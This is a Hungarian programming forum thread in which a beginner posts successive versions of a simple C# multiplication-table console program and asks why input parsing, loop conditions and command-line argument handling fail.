Most átírtam így, de nem engedi elindítani, mert azt írja, hogy tegyem biztossá, hogy az argumentumok megfelelő formátumban legyenek. Ezt hogy?
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
int szorzas = 0;
string szorzo = String.Empty;
do
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szorzo = Console.ReadLine();
szorzas = int.Parse(szorzo);
} while (szorzo.Length == 0 || szorzas == 0);
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szorzo, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
Így tudtam megcsinálni. Az int.TryParse-val nem működött, és úgy hogy nem a while cikluson belül incializálom, úgy sem működött, mert akkor csak arra a ciklusra lesz érvényes, és a végén a for-nál nem tudom használni. Most ahogy kinéz, így nem működik a program. Mindig csak ismétli magát, mindegy milyen számot (vagy semmit) adok meg.
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
int szorzas=0;
string szorzo = String.Empty;
do
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szorzo = Console.ReadLine();
} while (szorzo.Length == 0 || szorzas == 0);
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szorzo, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
De ha megadom ciklusfeltételnek, hogy addig ismételje, míg x hossza == 0 vagy y 0=0, akkor azt nem fogadja el, mert nincs definiálva
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
string szam;
int szorzas;
while(szam.Length == 0 || szorzas == 0)
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szam = Console.ReadLine();
szorzas = Convert.ToInt32(szam);
}
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szam, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
Így csináltam meg. 1 hiba van:
1. Azt, hogy visszatérjen a program elejére és újból megkérdezze nem tudom hogy kell megcsinálni.
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
string szam = Console.ReadLine();
if (szam.Length == 0)
{
Console.WriteLine("Nem adtál meg semmit sem!");
}
int szorzas = Convert.ToInt32(szam);
if (szorzas == 0)
{
Console.WriteLine("Nem adthatsz meg 0-t!");
}
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szam, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
Sziasztok!
Gyakorlás képpen csináltam egy kis szorzótábla-programot. Valami baj van vele a tömbös résznél. Ott még nem járok a könyvben, igaz a megoldása benne van, de kicsit átalakítottam. Így viszont nem tudom mi a baja. Íme a kód:
using System;
namespace Dinter
{
class Program
{
static public void Main(string[] args)
{
int tabla;
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
tabla = Convert.ToInt32(int.Parse(args[0])); // ez a rész a hibás
if (tabla == 0 || args.Length == 0)
{
Console.WriteLine("Hiba!");
return;
}
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, tabla, i * tabla);
}
Console.ReadKey();
}
}
}
Új hozzászólás Aktív témák
Hirdetés
● ha kódot szúrsz be, használd a PROGRAMKÓD formázási funkciót!
- ÁRGARANCIA!Épített KomPhone Ryzen 5 7600X 32/64GB RAM RTX 5060 Ti 16GB GAMER PC termékbeszámítással
- ÁRGARANCIA!Épített KomPhone Ryzen 7 5700X 16/32/64GB RAM RX 7600 8GB GAMER PC termékbeszámítással
- BESZÁMÍTÁS! Asus M5A99FX PRO R2.0 990FX chipset alaplap garanciával hibátlan működéssel
- Azonnali készpénzes Apple Macbook Air felvásárlás személyesen / csomagküldéssel korrekt áron
- Keresem : Lenovo Legion 5 16IRX9 83DG0037HV
Állásajánlatok
Cég: PC Trade Systems Kft.
Város: Szeged
Cég: PC Trade Systems Kft.
Város: Szeged